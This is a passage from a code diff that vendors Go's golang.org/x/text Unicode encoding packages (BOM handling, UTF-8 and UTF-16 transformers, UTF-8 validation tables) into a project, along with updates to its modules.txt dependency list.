+// This differs from using ExpectBOM by allowing a BOM to switch to UTF-8, not
+// just UTF-16 variants, and allowing falling back to any encoding scheme.
+//
+// This technique is recommended by the W3C for use in HTML 5: "For
+// compatibility with deployed content, the byte order mark (also known as BOM)
+// is considered more authoritative than anything else."
+// http://www.w3.org/TR/encoding/#specification-hooks
+//
+// Using BOMOverride is mostly intended for use cases where the first characters
+// of a fallback encoding are known to not be a BOM, for example, for valid HTML
+// and most encodings.
+func BOMOverride(fallback transform.Transformer) transform.Transformer {
+	// TODO: possibly allow a variadic argument of unicode encodings to allow
+	// specifying details of which fallbacks are supported as well as
+	// specifying the details of the implementations. This would also allow for
+	// support for UTF-32, which should not be supported by default.
+	return &bomOverride{fallback: fallback}
+}
+
+type bomOverride struct {
+	fallback transform.Transformer
+	current  transform.Transformer
+}
+
+func (d *bomOverride) Reset() {
+	d.current = nil
+	d.fallback.Reset()
+}
+
+var (
+	// TODO: we could use decode functions here, instead of allocating a new
+	// decoder on every NewDecoder as IgnoreBOM decoders can be stateless.
+	utf16le = UTF16(LittleEndian, IgnoreBOM)
+	utf16be = UTF16(BigEndian, IgnoreBOM)
+)
+
+const utf8BOM = "\ufeff"
+
+func (d *bomOverride) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if d.current != nil {
+		return d.current.Transform(dst, src, atEOF)
+	}
+	if len(src) < 3 && !atEOF {
+		return 0, 0, transform.ErrShortSrc
+	}
+	d.current = d.fallback
+	bomSize := 0
+	if len(src) >= 2 {
+		if src[0] == 0xFF && src[1] == 0xFE {
+			d.current = utf16le.NewDecoder()
+			bomSize = 2
+		} else if src[0] == 0xFE && src[1] == 0xFF {
+			d.current = utf16be.NewDecoder()
+			bomSize = 2
+		} else if len(src) >= 3 &&
+			src[0] == utf8BOM[0] &&
+			src[1] == utf8BOM[1] &&
+			src[2] == utf8BOM[2] {
+			d.current = transform.Nop
+			bomSize = 3
+		}
+	}
+	if bomSize < len(src) {
+		nDst, nSrc, err = d.current.Transform(dst, src[bomSize:], atEOF)
+	}
+	return nDst, nSrc + bomSize, err
+}

vendor/golang.org/x/text/encoding/unicode/unicode.go

@@ -0,0 +1,512 @@
+// Copyright 2013 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package unicode provides Unicode encodings such as UTF-16.
+package unicode // import "golang.org/x/text/encoding/unicode"
+
+import (
+	"bytes"
+	"errors"
+	"unicode/utf16"
+	"unicode/utf8"
+
+	"golang.org/x/text/encoding"
+	"golang.org/x/text/encoding/internal"
+	"golang.org/x/text/encoding/internal/identifier"
+	"golang.org/x/text/internal/utf8internal"
+	"golang.org/x/text/runes"
+	"golang.org/x/text/transform"
+)
+
+// TODO: I think the Transformers really should return errors on unmatched
+// surrogate pairs and odd numbers of bytes. This is not required by RFC 2781,
+// which leaves it open, but is suggested by WhatWG. It will allow for all error
+// modes as defined by WhatWG: fatal, HTML and Replacement. This would require
+// the introduction of some kind of error type for conveying the erroneous code
+// point.
+
+// UTF8 is the UTF-8 encoding. It neither removes nor adds byte order marks.
+var UTF8 encoding.Encoding = utf8enc
+
+// UTF8BOM is an UTF-8 encoding where the decoder strips a leading byte order
+// mark while the encoder adds one.
+//
+// Some editors add a byte order mark as a signature to UTF-8 files. Although
+// the byte order mark is not useful for detecting byte order in UTF-8, it is
+// sometimes used as a convention to mark UTF-8-encoded files. This relies on
+// the observation that the UTF-8 byte order mark is either an illegal or at
+// least very unlikely sequence in any other character encoding.
+var UTF8BOM encoding.Encoding = utf8bomEncoding{}
+
+type utf8bomEncoding struct{}
+
+func (utf8bomEncoding) String() string {
+	return "UTF-8-BOM"
+}
+
+func (utf8bomEncoding) ID() (identifier.MIB, string) {
+	return identifier.Unofficial, "x-utf8bom"
+}
+
+func (utf8bomEncoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{
+		Transformer: &utf8bomEncoder{t: runes.ReplaceIllFormed()},
+	}
+}
+
+func (utf8bomEncoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: &utf8bomDecoder{}}
+}
+
+var utf8enc = &internal.Encoding{
+	&internal.SimpleEncoding{utf8Decoder{}, runes.ReplaceIllFormed()},
+	"UTF-8",
+	identifier.UTF8,
+}
+
+type utf8bomDecoder struct {
+	checked bool
+}
+
+func (t *utf8bomDecoder) Reset() {
+	t.checked = false
+}
+
+func (t *utf8bomDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if !t.checked {
+		if !atEOF && len(src) < len(utf8BOM) {
+			if len(src) == 0 {
+				return 0, 0, nil
+			}
+			return 0, 0, transform.ErrShortSrc
+		}
+		if bytes.HasPrefix(src, []byte(utf8BOM)) {
+			nSrc += len(utf8BOM)
+			src = src[len(utf8BOM):]
+		}
+		t.checked = true
+	}
+	nDst, n, err := utf8Decoder.Transform(utf8Decoder{}, dst[nDst:], src, atEOF)
+	nSrc += n
+	return nDst, nSrc, err
+}
+
+type utf8bomEncoder struct {
+	written bool
+	t       transform.Transformer
+}
+
+func (t *utf8bomEncoder) Reset() {
+	t.written = false
+	t.t.Reset()
+}
+
+func (t *utf8bomEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if !t.written {
+		if len(dst) < len(utf8BOM) {
+			return nDst, 0, transform.ErrShortDst
+		}
+		nDst = copy(dst, utf8BOM)
+		t.written = true
+	}
+	n, nSrc, err := utf8Decoder.Transform(utf8Decoder{}, dst[nDst:], src, atEOF)
+	nDst += n
+	return nDst, nSrc, err
+}
+
+type utf8Decoder struct{ transform.NopResetter }
+
+func (utf8Decoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	var pSrc int // point from which to start copy in src
+	var accept utf8internal.AcceptRange
+
+	// The decoder can only make the input larger, not smaller.
+	n := len(src)
+	if len(dst) < n {
+		err = transform.ErrShortDst
+		n = len(dst)
+		atEOF = false
+	}
+	for nSrc < n {
+		c := src[nSrc]
+		if c < utf8.RuneSelf {
+			nSrc++
+			continue
+		}
+		first := utf8internal.First[c]
+		size := int(first & utf8internal.SizeMask)
+		if first == utf8internal.FirstInvalid {
+			goto handleInvalid // invalid starter byte
+		}
+		accept = utf8internal.AcceptRanges[first>>utf8internal.AcceptShift]
+		if nSrc+size > n {
+			if !atEOF {
+				// We may stop earlier than necessary here if the short sequence
+				// has invalid bytes. Not checking for this simplifies the code
+				// and may avoid duplicate computations in certain conditions.
+				if err == nil {
+					err = transform.ErrShortSrc
+				}
+				break
+			}
+			// Determine the maximal subpart of an ill-formed subsequence.
+			switch {
+			case nSrc+1 >= n || src[nSrc+1] < accept.Lo || accept.Hi < src[nSrc+1]:
+				size = 1
+			case nSrc+2 >= n || src[nSrc+2] < utf8internal.LoCB || utf8internal.HiCB < src[nSrc+2]:
+				size = 2
+			default:
+				size = 3 // As we are short, the maximum is 3.
+			}
+			goto handleInvalid
+		}
+		if c = src[nSrc+1]; c < accept.Lo || accept.Hi < c {
+			size = 1
+			goto handleInvalid // invalid continuation byte
+		} else if size == 2 {
+		} else if c = src[nSrc+2]; c < utf8internal.LoCB || utf8internal.HiCB < c {
+			size = 2
+			goto handleInvalid // invalid continuation byte
+		} else if size == 3 {
+		} else if c = src[nSrc+3]; c < utf8internal.LoCB || utf8internal.HiCB < c {
+			size = 3
+			goto handleInvalid // invalid continuation byte
+		}
+		nSrc += size
+		continue
+
+	handleInvalid:
+		// Copy the scanned input so far.
+		nDst += copy(dst[nDst:], src[pSrc:nSrc])
+
+		// Append RuneError to the destination.
+		const runeError = "\ufffd"
+		if nDst+len(runeError) > len(dst) {
+			return nDst, nSrc, transform.ErrShortDst
+		}
+		nDst += copy(dst[nDst:], runeError)
+
+		// Skip the maximal subpart of an ill-formed subsequence according to
+		// the W3C standard way instead of the Go way. This Transform is
+		// probably the only place in the text repo where it is warranted.
+		nSrc += size
+		pSrc = nSrc
+
+		// Recompute the maximum source length.
+		if sz := len(dst) - nDst; sz < len(src)-nSrc {
+			err = transform.ErrShortDst
+			n = nSrc + sz
+			atEOF = false
+		}
+	}
+	return nDst + copy(dst[nDst:], src[pSrc:nSrc]), nSrc, err
+}
+
+// UTF16 returns a UTF-16 Encoding for the given default endianness and byte
+// order mark (BOM) policy.
+//
+// When decoding from UTF-16 to UTF-8, if the BOMPolicy is IgnoreBOM then
+// neither BOMs U+FEFF nor noncharacters U+FFFE in the input stream will affect
+// the endianness used for decoding, and will instead be output as their
+// standard UTF-8 encodings: "\xef\xbb\xbf" and "\xef\xbf\xbe". If the BOMPolicy
+// is UseBOM or ExpectBOM a staring BOM is not written to the UTF-8 output.
+// Instead, it overrides the default endianness e for the remainder of the
+// transformation. Any subsequent BOMs U+FEFF or noncharacters U+FFFE will not
+// affect the endianness used, and will instead be output as their standard
+// UTF-8 encodings. For UseBOM, if there is no starting BOM, it will proceed
+// with the default Endianness. For ExpectBOM, in that case, the transformation
+// will return early with an ErrMissingBOM error.
+//
+// When encoding from UTF-8 to UTF-16, a BOM will be inserted at the start of
+// the output if the BOMPolicy is UseBOM or ExpectBOM. Otherwise, a BOM will not
+// be inserted. The UTF-8 input does not need to contain a BOM.
+//
+// There is no concept of a 'native' endianness. If the UTF-16 data is produced
+// and consumed in a greater context that implies a certain endianness, use
+// IgnoreBOM. Otherwise, use ExpectBOM and always produce and consume a BOM.
+//
+// In the language of https://www.unicode.org/faq/utf_bom.html#bom10, IgnoreBOM
+// corresponds to "Where the precise type of the data stream is known... the
+// BOM should not be used" and ExpectBOM corresponds to "A particular
+// protocol... may require use of the BOM".
+func UTF16(e Endianness, b BOMPolicy) encoding.Encoding {
+	return utf16Encoding{config{e, b}, mibValue[e][b&bomMask]}
+}
+
+// mibValue maps Endianness and BOMPolicy settings to MIB constants. Note that
+// some configurations map to the same MIB identifier. RFC 2781 has requirements
+// and recommendations. Some of the "configurations" are merely recommendations,
+// so multiple configurations could match.
+var mibValue = map[Endianness][numBOMValues]identifier.MIB{
+	BigEndian: [numBOMValues]identifier.MIB{
+		IgnoreBOM: identifier.UTF16BE,
+		UseBOM:    identifier.UTF16, // BigEnding default is preferred by RFC 2781.
+		// TODO: acceptBOM | strictBOM would map to UTF16BE as well.
+	},
+	LittleEndian: [numBOMValues]identifier.MIB{
+		IgnoreBOM: identifier.UTF16LE,
+		UseBOM:    identifier.UTF16, // LittleEndian default is allowed and preferred on Windows.
+		// TODO: acceptBOM | strictBOM would map to UTF16LE as well.
+	},
+	// ExpectBOM is not widely used and has no valid MIB identifier.
+}
+
+// All lists a configuration for each IANA-defined UTF-16 variant.
+var All = []encoding.Encoding{
+	UTF8,
+	UTF16(BigEndian, UseBOM),
+	UTF16(BigEndian, IgnoreBOM),
+	UTF16(LittleEndian, IgnoreBOM),
+}
+
+// BOMPolicy is a UTF-16 encoding's byte order mark policy.
+type BOMPolicy uint8
+
+const (
+	writeBOM   BOMPolicy = 0x01
+	acceptBOM  BOMPolicy = 0x02
+	requireBOM BOMPolicy = 0x04
+	bomMask    BOMPolicy = 0x07
+
+	// HACK: numBOMValues == 8 triggers a bug in the 1.4 compiler (cannot have a
+	// map of an array of length 8 of a type that is also used as a key or value
+	// in another map). See golang.org/issue/11354.
+	// TODO: consider changing this value back to 8 if the use of 1.4.* has
+	// been minimized.
+	numBOMValues = 8 + 1
+
+	// IgnoreBOM means to ignore any byte order marks.
+	IgnoreBOM BOMPolicy = 0
+	// Common and RFC 2781-compliant interpretation for UTF-16BE/LE.
+
+	// UseBOM means that the UTF-16 form may start with a byte order mark, which
+	// will be used to override the default encoding.
+	UseBOM BOMPolicy = writeBOM | acceptBOM
+	// Common and RFC 2781-compliant interpretation for UTF-16.
+
+	// ExpectBOM means that the UTF-16 form must start with a byte order mark,
+	// which will be used to override the default encoding.
+	ExpectBOM BOMPolicy = writeBOM | acceptBOM | requireBOM
+	// Used in Java as Unicode (not to be confused with Java's UTF-16) and
+	// ICU's UTF-16,version=1. Not compliant with RFC 2781.
+
+	// TODO (maybe): strictBOM: BOM must match Endianness. This would allow:
+	// - UTF-16(B|L)E,version=1: writeBOM | acceptBOM | requireBOM | strictBOM
+	//    (UnicodeBig and UnicodeLittle in Java)
+	// - RFC 2781-compliant, but less common interpretation for UTF-16(B|L)E:
+	//    acceptBOM | strictBOM (e.g. assigned to CheckBOM).
+	// This addition would be consistent with supporting ExpectBOM.
+)
+
+// Endianness is a UTF-16 encoding's default endianness.
+type Endianness bool
+
+const (
+	// BigEndian is UTF-16BE.
+	BigEndian Endianness = false
+	// LittleEndian is UTF-16LE.
+	LittleEndian Endianness = true
+)
+
+// ErrMissingBOM means that decoding UTF-16 input with ExpectBOM did not find a
+// starting byte order mark.
+var ErrMissingBOM = errors.New("encoding: missing byte order mark")
+
+type utf16Encoding struct {
+	config
+	mib identifier.MIB
+}
+
+type config struct {
+	endianness Endianness
+	bomPolicy  BOMPolicy
+}
+
+func (u utf16Encoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: &utf16Decoder{
+		initial: u.config,
+		current: u.config,
+	}}
+}
+
+func (u utf16Encoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{Transformer: &utf16Encoder{
+		endianness:       u.endianness,
+		initialBOMPolicy: u.bomPolicy,
+		currentBOMPolicy: u.bomPolicy,
+	}}
+}
+
+func (u utf16Encoding) ID() (mib identifier.MIB, other string) {
+	return u.mib, ""
+}
+
+func (u utf16Encoding) String() string {
+	e, b := "B", ""
+	if u.endianness == LittleEndian {
+		e = "L"
+	}
+	switch u.bomPolicy {
+	case ExpectBOM:
+		b = "Expect"
+	case UseBOM:
+		b = "Use"
+	case IgnoreBOM:
+		b = "Ignore"
+	}
+	return "UTF-16" + e + "E (" + b + " BOM)"
+}
+
+type utf16Decoder struct {
+	initial config
+	current config
+}
+
+func (u *utf16Decoder) Reset() {
+	u.current = u.initial
+}
+
+func (u *utf16Decoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if len(src) < 2 && atEOF && u.current.bomPolicy&requireBOM != 0 {
+		return 0, 0, ErrMissingBOM
+	}
+	if len(src) == 0 {
+		return 0, 0, nil
+	}
+	if len(src) >= 2 && u.current.bomPolicy&acceptBOM != 0 {
+		switch {
+		case src[0] == 0xfe && src[1] == 0xff:
+			u.current.endianness = BigEndian
+			nSrc = 2
+		case src[0] == 0xff && src[1] == 0xfe:
+			u.current.endianness = LittleEndian
+			nSrc = 2
+		default:
+			if u.current.bomPolicy&requireBOM != 0 {
+				return 0, 0, ErrMissingBOM
+			}
+		}
+		u.current.bomPolicy = IgnoreBOM
+	}
+
+	var r rune
+	var dSize, sSize int
+	for nSrc < len(src) {
+		if nSrc+1 < len(src) {
+			x := uint16(src[nSrc+0])<<8 | uint16(src[nSrc+1])
+			if u.current.endianness == LittleEndian {
+				x = x>>8 | x<<8
+			}
+			r, sSize = rune(x), 2
+			if utf16.IsSurrogate(r) {
+				if nSrc+3 < len(src) {
+					x = uint16(src[nSrc+2])<<8 | uint16(src[nSrc+3])
+					if u.current.endianness == LittleEndian {
+						x = x>>8 | x<<8
+					}
+					// Save for next iteration if it is not a high surrogate.
+					if isHighSurrogate(rune(x)) {
+						r, sSize = utf16.DecodeRune(r, rune(x)), 4
+					}
+				} else if !atEOF {
+					err = transform.ErrShortSrc
+					break
+				}
+			}
+			if dSize = utf8.RuneLen(r); dSize < 0 {
+				r, dSize = utf8.RuneError, 3
+			}
+		} else if atEOF {
+			// Single trailing byte.
+			r, dSize, sSize = utf8.RuneError, 3, 1
+		} else {
+			err = transform.ErrShortSrc
+			break
+		}
+		if nDst+dSize > len(dst) {
+			err = transform.ErrShortDst
+			break
+		}
+		nDst += utf8.EncodeRune(dst[nDst:], r)
+		nSrc += sSize
+	}
+	return nDst, nSrc, err
+}
+
+func isHighSurrogate(r rune) bool {
+	return 0xDC00 <= r && r <= 0xDFFF
+}
+
+type utf16Encoder struct {
+	endianness       Endianness
+	initialBOMPolicy BOMPolicy
+	currentBOMPolicy BOMPolicy
+}
+
+func (u *utf16Encoder) Reset() {
+	u.currentBOMPolicy = u.initialBOMPolicy
+}
+
+func (u *utf16Encoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if u.currentBOMPolicy&writeBOM != 0 {
+		if len(dst) < 2 {
+			return 0, 0, transform.ErrShortDst
+		}
+		dst[0], dst[1] = 0xfe, 0xff
+		u.currentBOMPolicy = IgnoreBOM
+		nDst = 2
+	}
+
+	r, size := rune(0), 0
+	for nSrc < len(src) {
+		r = rune(src[nSrc])
+
+		// Decode a 1-byte rune.
+		if r < utf8.RuneSelf {
+			size = 1
+
+		} else {
+			// Decode a multi-byte rune.
+			r, size = utf8.DecodeRune(src[nSrc:])
+			if size == 1 {
+				// All valid runes of size 1 (those below utf8.RuneSelf) were
+				// handled above. We have invalid UTF-8 or we haven't seen the
+				// full character yet.
+				if !atEOF && !utf8.FullRune(src[nSrc:]) {
+					err = transform.ErrShortSrc
+					break
+				}
+			}
+		}
+
+		if r <= 0xffff {
+			if nDst+2 > len(dst) {
+				err = transform.ErrShortDst
+				break
+			}
+			dst[nDst+0] = uint8(r >> 8)
+			dst[nDst+1] = uint8(r)
+			nDst += 2
+		} else {
+			if nDst+4 > len(dst) {
+				err = transform.ErrShortDst
+				break
+			}
+			r1, r2 := utf16.EncodeRune(r)
+			dst[nDst+0] = uint8(r1 >> 8)
+			dst[nDst+1] = uint8(r1)
+			dst[nDst+2] = uint8(r2 >> 8)
+			dst[nDst+3] = uint8(r2)
+			nDst += 4
+		}
+		nSrc += size
+	}
+
+	if u.endianness == LittleEndian {
+		for i := 0; i < nDst; i += 2 {
+			dst[i], dst[i+1] = dst[i+1], dst[i]
+		}
+	}
+	return nDst, nSrc, err
+}

vendor/golang.org/x/text/internal/utf8internal/utf8internal.go

@@ -0,0 +1,87 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package utf8internal contains low-level utf8-related constants, tables, etc.
+// that are used internally by the text package.
+package utf8internal
+
+// The default lowest and highest continuation byte.
+const (
+	LoCB = 0x80 // 1000 0000
+	HiCB = 0xBF // 1011 1111
+)
+
+// Constants related to getting information of first bytes of UTF-8 sequences.
+const (
+	// ASCII identifies a UTF-8 byte as ASCII.
+	ASCII = as
+
+	// FirstInvalid indicates a byte is invalid as a first byte of a UTF-8
+	// sequence.
+	FirstInvalid = xx
+
+	// SizeMask is a mask for the size bits. Use use x&SizeMask to get the size.
+	SizeMask = 7
+
+	// AcceptShift is the right-shift count for the first byte info byte to get
+	// the index into the AcceptRanges table. See AcceptRanges.
+	AcceptShift = 4
+
+	// The names of these constants are chosen to give nice alignment in the
+	// table below. The first nibble is an index into acceptRanges or F for
+	// special one-byte cases. The second nibble is the Rune length or the
+	// Status for the special one-byte case.
+	xx = 0xF1 // invalid: size 1
+	as = 0xF0 // ASCII: size 1
+	s1 = 0x02 // accept 0, size 2
+	s2 = 0x13 // accept 1, size 3
+	s3 = 0x03 // accept 0, size 3
+	s4 = 0x23 // accept 2, size 3
+	s5 = 0x34 // accept 3, size 4
+	s6 = 0x04 // accept 0, size 4
+	s7 = 0x44 // accept 4, size 4
+)
+
+// First is information about the first byte in a UTF-8 sequence.
+var First = [256]uint8{
+	//   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x00-0x0F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x10-0x1F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x20-0x2F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x30-0x3F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x40-0x4F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x50-0x5F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x60-0x6F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x70-0x7F
+	//   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x80-0x8F
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x90-0x9F
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xA0-0xAF
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xB0-0xBF
+	xx, xx, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xC0-0xCF
+	s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xD0-0xDF
+	s2, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s4, s3, s3, // 0xE0-0xEF
+	s5, s6, s6, s6, s7, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xF0-0xFF
+}
+
+// AcceptRange gives the range of valid values for the second byte in a UTF-8
+// sequence for any value for First that is not ASCII or FirstInvalid.
+type AcceptRange struct {
+	Lo uint8 // lowest value for second byte.
+	Hi uint8 // highest value for second byte.
+}
+
+// AcceptRanges is a slice of AcceptRange values. For a given byte sequence b
+//
+//		AcceptRanges[First[b[0]]>>AcceptShift]
+//
+// will give the value of AcceptRange for the multi-byte UTF-8 sequence starting
+// at b[0].
+var AcceptRanges = [...]AcceptRange{
+	0: {LoCB, HiCB},
+	1: {0xA0, HiCB},
+	2: {LoCB, 0x9F},
+	3: {0x90, HiCB},
+	4: {LoCB, 0x8F},
+}

vendor/modules.txt

@@ -151,6 +151,10 @@ github.com/jackc/pgtype
 github.com/jackc/pgx/v4
 github.com/jackc/pgx/v4/internal/sanitize
 github.com/jackc/pgx/v4/stdlib
+# github.com/jedib0t/go-pretty/v6 v6.2.4
+## explicit
+github.com/jedib0t/go-pretty/v6/table
+github.com/jedib0t/go-pretty/v6/text
 # github.com/jinzhu/inflection v1.0.0
 github.com/jinzhu/inflection
 # github.com/jinzhu/now v1.1.1
@@ -179,7 +183,7 @@ github.com/mattn/go-colorable
 # github.com/mattn/go-isatty v0.0.13
 ## explicit
 github.com/mattn/go-isatty
-# github.com/mattn/go-runewidth v0.0.7
+# github.com/mattn/go-runewidth v0.0.9
 github.com/mattn/go-runewidth
 # github.com/mattn/go-sqlite3 v1.14.5
 ## explicit
@@ -261,11 +265,17 @@ golang.org/x/sys/windows/svc/mgr
 # golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
 golang.org/x/term
 # golang.org/x/text v0.3.6
+## explicit
 golang.org/x/text/cases
+golang.org/x/text/encoding
+golang.org/x/text/encoding/internal
+golang.org/x/text/encoding/internal/identifier
+golang.org/x/text/encoding/unicode
 golang.org/x/text/internal
 golang.org/x/text/internal/language
 golang.org/x/text/internal/language/compact
 golang.org/x/text/internal/tag
+golang.org/x/text/internal/utf8internal
 golang.org/x/text/language
 golang.org/x/text/runes
 golang.org/x/text/secure/bidirule